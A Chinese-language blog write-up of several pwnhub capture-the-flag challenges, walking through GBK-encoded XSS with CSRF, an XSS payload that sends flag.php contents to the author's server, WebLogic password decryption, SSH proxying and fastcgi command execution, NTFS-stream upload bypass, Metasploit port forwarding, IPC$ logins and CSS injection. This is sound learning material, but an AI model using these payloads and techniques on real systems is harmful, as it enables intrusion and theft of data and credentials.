0x00 前言
pwnhub的题目出的都挺好,强烈推荐网址:https://pwnhub.cn/。 基本都没做到最后,复现了一下。记录学习到的知识
0x01 另一份文件
这题flag就在upload文件夹下。只是php的权限删不掉它。
Glob是按字母顺序排序的,上传比flag文件名靠后的文件名。这样就能通过是否上传成功来判断Flag的文件名。 脚本:
1 | __author__ = 'angelwhu' |
0x02 WTF (xss,csrf,csp)
1. 构造xss
找到漏洞点,文章发布哪里可以构造xss。 过滤了"<>'
等特殊字符。看到网页编码时GBK,加深了对GBK字符集造成注入的认识。
1 | %bf和\ 一起会形成一个新的字符。这样就吞掉了一个\ |
这样的方式正好利用在这个题目:
- 用
\x3c
,\x3e
(16进制编码)形式代表<>
。还可以用八进制\74
和\76
。 - 由于转义
\
为\\
,所以需要吞掉一个\
。正好利用GBK编码。
检测Payload为:
1 | http://54.223.108.205:23333/new.php |
关键点:
- js引号里面支持16进制和8进制表示字符
- GBK字符编码可以吞掉一个反斜杠
\
2. URL任意跳转
发现有个url任意跳转漏洞:
1 | http://54.223.108.205:23333/login.php?redirecturl=http://www.angelwhu.com:8080/ |
测试在reportBug
页面,发送给后台bot访问:
1 | http://54.223.108.205:23333/login.php?redirecturl=http%3A%2f%2fwww.angelwhu.com%3A8080%2f |
顺利接收到后台的访问,证明思路正确:
3. CSRF获取flag.php的内容
这里有两个限制:
phpsession
是httponly
,无法打到cookie- 后台admin用户,不能访问其他人的文章。(这个有点奇妙)
对应的解决方案为:
- 在xss中,使用ajax获取flag.php内容,传到服务器中。
- 使用csrf,让admin用户自己发布一个带有
xss
的文章。然后访问之。(csrf
)
(1) 本地获取flag.php内容
解决第一个问题:ajax读取文件,发送到服务器上:
1 | <script src="js/jquery.min.js"></script><script>location.href="http://www.angelwhu.com:8080/"+escape($.ajax({url:'/flag.php',async:false}).responseText);</script> |
遇到坑:
1 | 不能有空格~~ |
使用document.write
来实现上述功能:
1 | title=123jj&content=123%bf\x3cimg onerror=document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,106,115,47,106,113,117,101,114,121,46,109,105,110,46,106,115,34,62,60,47,115,99,114,105,112,116,62,60,115,99,114,105,112,116,62,108,111,99,97,116,105,111,110,46,104,114,101,102,61,34,104,116,116,112,58,47,47,119,119,119,46,97,110,103,101,108,119,104,117,46,99,111,109,58,56,48,56,48,47,34,43,101,115,99,97,112,101,40,36,46,97,106,97,120,40,123,117,114,108,58,39,47,102,108,97,103,46,112,104,112,39,44,97,115,121,110,99,58,102,97,108,115,101,125,41,46,114,101,115,112,111,110,115,101,84,101,120,116,41,59,60,47,115,99,114,105,112,116,62)); src=a%bf\x3e&submit=submit |
成功获取。
(2) csrf发文章
写php
的urldecode
靠谱~ 用unescape
不靠谱~
1 | <html> |
填写csrf的URL:
1 | http://54.223.108.205:23333/login.php?redirecturl=http%3A%2f%2fwww.angelwhu.com%3A8080%2fcsrf.php |
似乎不能有_
,以及其他不知道的过滤。然后,发送文章的编号链接,到后台即可。 得到flag:
1 | / |
0x03 找呀找呀找朋友(实战综合)
1. 找到入口
将样本放到在线检测中,得到shell.pwnme.site
域名。然后扫描子域名,得到:blog.pwnme.site
2. 文件任意下载漏洞
blog有个需要猜的/user_register
。注册账号后,可以得到/file_download
功能。这样就到了真正技术活的时候了。
3. 找到真实ip
由于使用了CDN,无法知道该域名的真实ip。 有两个思路:
- 找个靠谱网站搜索历史ip记录
- 存在文件任意读取漏洞,读读系统日志
最终在/proc/self/fd/4
里面读到日志信息: 找到54.223.115.219这个ip。
4. 破解Weblogic的密码
nmap扫描可以很容易得到有个weblogic服务,但是没有密码。weblogic是最新版,反序列化不成功。 首先,可以按照以下方式读到weblogic的PID和路径信息:
1 | static/../../../../../../../proc/sched_debug |
根据这篇文章http://bobao.360.cn/learning/detail/337.html,需要读取Weblogic的两个文件:SerializedSystemIni.dat
和config.xml
。 过程如下:
1 | static/../../../../../../../u01/oracle/user_projects/domains/base_domain/config/config.xml |
解密的代码在github上:https://github.com/NetSPI/WebLogicPasswordDecryptor。 尝试使用powershell执行脚本,先要设置:
1 | set-executionpolicy remotesigned |
运行提示没有aes模块:
1 | Import-Module .\Invoke-WebLogicPasswordDecryptor.psm1 |
最后改用java执行:需要下载bcprov-jdk15on-155.jar
,复制到JDK的lib/ext
下。 修改lib/security/java.security
文件,增加:
1 | security.provider.11=org.bouncycastle.jce.provider.BouncyCastleProvider |
用java解密成功:
1 | E:\pentest\tools\WebLogicPasswordDecryptor-master>java WebLogicPasswordDecryptor "E:\pentest\tools\WebLogicPasswordDecryptor-master\SerializedSystemIni.dat" "{AES}0N0Z2hoc1/b/72xxMrai1uG48m4LA6iIskgeu7ZUWaFbAWWcwoDSZo0RL8ANnCKG" |
登录后,找地方上传war包,这里我最后还找了半天。war包里面放个大马即可。还要激活更改,并且启动webapp。 查看目录,找到flag。
0x04 迷(内网代理)
1. 信息泄露
更新扫描器的重要性~ README.md
泄露了敏感信息。
1 | Loli Club Proxy Server |
存在弱密码:proxy
。
2. 代理内网
ssh socks5 代理:
1 | ssh -qTfnN -D 8888 -p 22 proxy@54.223.142.7 |
测试下:
1 | proxychains curl http://127.0.0.1/ |
经过测试,需要在一个终端内完成~ 之后代理,都用后台运行 nmap扫本地端口(代理不成功不知道原因):
1 | proxychains nmap -A -vvv 127.0.0.1 |
3. fastcgi 命令执行
fastcgi
的9000端口漏洞利用:
- 找到一个php文件:
在虚拟机里面执行命令:
1 | find / -name *.php |
随便找一个php文件即可。 这里使用/usr/share/php/OS/Guess.php
- 执行
ls /
命令:
生成Payload,然后nc过去:
1 | ./fcgi_exp system 127.0.0.1 1234 /usr/share/php/OS/Guess.php "ls -al /" |
把Payload传到kali代理中:
1 | proxychains nc 127.0.0.1 9000 < payload_ls.txt |
0x05 深入敌后(内网渗透)
这个题目真是溜~ kali中的msf终于用上了
1. 扫描器的重要性
用御剑扫描目录,可以发现/file
目录。接着在/file
目录下扫描,发现login.html
和/.hg/
源码泄露。
用https://github.com/kost/dvcs-ripper来获取源码。
2. IIS+Windows+php 绕过黑名单
Cuit2015有这样的绕过例子:
使用NTFS流的方式
1 | 1.php::$DATA |
绕过黑名单,上传shell。根据源码可以知道上传位置。 shell上传在:http://54.223.229.139/file/users_file_system/angelwhutest123456/ecdeb33b306151aed0585301e5330660.php
3. 信息收集
提示信息为:
1 | 2017.01.15 11:50:00administrator:啊,好烦啊,需要设置那么多密码,偷懒好了,妈蛋,windows为啥还有密码策略。 |
桌面上找到一个密码文件,ie-password.txt
:
1 | ================================================== |
翻找软件,发现有xshell。找Administrator用户存储信息的地方:
1 | C:/Users/Administrator/Documents/NetSarang/Xshell/Sessions/ |
发现有172.31.5.95.xsh
,里面记录有用户名ubuntu
。
4. msf内网渗透
通过aliyun中转,连接msf
连接虚拟机Kali和目标主机。 https://www.angelwhu.com/blog/?p=309 成功连接了msf。
登陆172.31.5.95内网主机
将172.31.5.95的端口转发出来。真是神奇,直接使用msf:
1 | portfwd add -L 127.0.0.1 -l 12335 -r 172.31.5.95 -p 22 |
直接将端口转发到本地kali主机了。新开个terminal:
1 | ssh ubuntu@127.0.0.1 -p 12335 |
密码为abc@elk
,成功登陆~
172.31.5.95主机信息收集
该主机具有root权限:
1 | ubuntu@ip-172-31-5-95:/$ id |
last
命令看到一个登陆ip地址:
1 | ubuntu@ip-172-31-5-95:/$ last |
172.31.13.133主机IPC漏洞
使用入口windows主机(54.223.229.139)里面安装好的Nmap扫描一下172.31.13.133机器:
1 | C:\Program Files (x86)\Nmap>nmap.exe -v -A 172.31.13.133 |
根据提示:
1 | 2017.01.15 11:50:00administrator:啊,好烦啊,需要设置那么多密码,偷懒好了,妈蛋,windows为啥还有密码策略。 |
密码策略为https://msdn.microsoft.com/zh-cn/library/cc786468(v=ws.10).aspx:
1 | 不得明显包含用户帐户名或用户全名的一部分 |
猜测密码为abc@ELF
~ 139/135/445
端口,说明是windows,可以IPC$
攻击。 参考http://www.voidcn.com/blog/Ice_15/article/p-1890468.html
1 | net use \\172.31.13.133\ipc$ "abc@ELK" /user:"administrator" |
映射目标C盘到本地Z盘:
1 | C:\Program Files (x86)\Nmap>net use z: \\172.31.13.133\c$ |
搜索z盘文件:for /r z: %i in (*flag*) do @echo %i
1 | C:\inetpub\wwwroot\file\users_file_system\angelwhutest123456>for /r z: %i in (*flag*) do @echo %i |
得到flag:
1 | C:\inetpub\wwwroot\file\users_file_system\angelwhutest123456>cd z:\ |
0x06 打开电脑(css injection)
题目介绍
1 | 平均评分4.3星 |
1. unsafe port
对于chrome访问的端口,以下都会显示unsafe port
,禁止访问:
1 | .......... |
使用firefox访问6666端口。
2. css 注入攻击
查看csp头:
1 | Content-Security-Policy: default-src *; |
关键:这里不一定要xss获取cookie~~ 有个img-src
的策略有点广泛:
1 | img-src * data: blob:; |
查看XSS Filter Evasion Cheat Sheet
。找到这个:
1 | DIV background-image |
观察前台显示:
1 | <a id="modal" class="detail" href="#detail" data-toggle="modal" contributor=aaangelwhu style=background-image:url(http://121.42.175.111:8080) hexdata=672e65613167722e333170366572657265726572657265>fffffffffffe53cdbc640fffb934cfb8</a> |
contributor
处,没有引号,直接插入sytle
:
1 | style=background-image:url(http://121.42.175.111:8080) |
测试不能执行js脚本。看能不能访问外网:
1 | nc -lvvv 8080 |
测试通过,可以得到访问的信息。 在contact
功能处,填写如下Payload测试:
1 | ddd style=background-image:url(http://121.42.175.111:8080) |
得到访问信息,竟然并不需要cookie: 接下来就是访问后台http://52.80.1.108:6666/d04ea1a0f534f6e70c00dae30ba0af9f/admin.php
了~
3. 访问后台
访问得到是404,加上X-forwarded-for:127.0.0.1
,要猜到flag.php
,得到flag:
4. 总结
学习到的知识:
- 仔细看csp,如何bypass~
- css 样式注入
- 能够访问外网,可以得到有用的信息~ (nc -lvvv port)
0x07 another php
这个题目,有web和pwn部分。最后需要竞争上传脚本,最后也木有成功~总结下知识点。
1. php源码泄露
记录下几个,以后补充:
1 | index.php~ |
目录方面的源码泄露:
1 | /robots.txt |
后面是一个svn泄露,查看wc.db
文件得到一个用户名。还需要有个爆破md5的脚本:
1 | import sys |
2. wget 低版本重定向漏洞(CVE-2016-4971) 与条件竞争
详情请看 http://legalhackers.com/advisories/Wget-Arbitrary-File-Upload-Vulnerability-Exploit.txt。 本来服务器严格过滤了文件名为pwnhub.jpg
,通过这个漏洞,就可以将文件名改为任意名称了。 附上我参考wp也没有成功的竞争脚本:
1 | # -*- coding:utf-8 -*- |
0x08 大物必须过
知识点:RPO http://blog.innerht.ml/rpo-gadgets/ payload:
1 | 提交url: http://52.80.19.55/user.php/427/..%2f..%2fclasses.php/1/1 |
解释: 多个{}
,是使其能够正确解析成css语法。最好加上%0a
换行。 原理:利用服务器解析地址和浏览器不一样来攻击。
1 | ..%2f..%2fclasses.php |
浏览器在寻找../../classes.css
时,便访问:
1 | http://52.80.19.55/user.php/427/classes.css,将其当做css文件解析。 |
0x09 总结
未完待续~~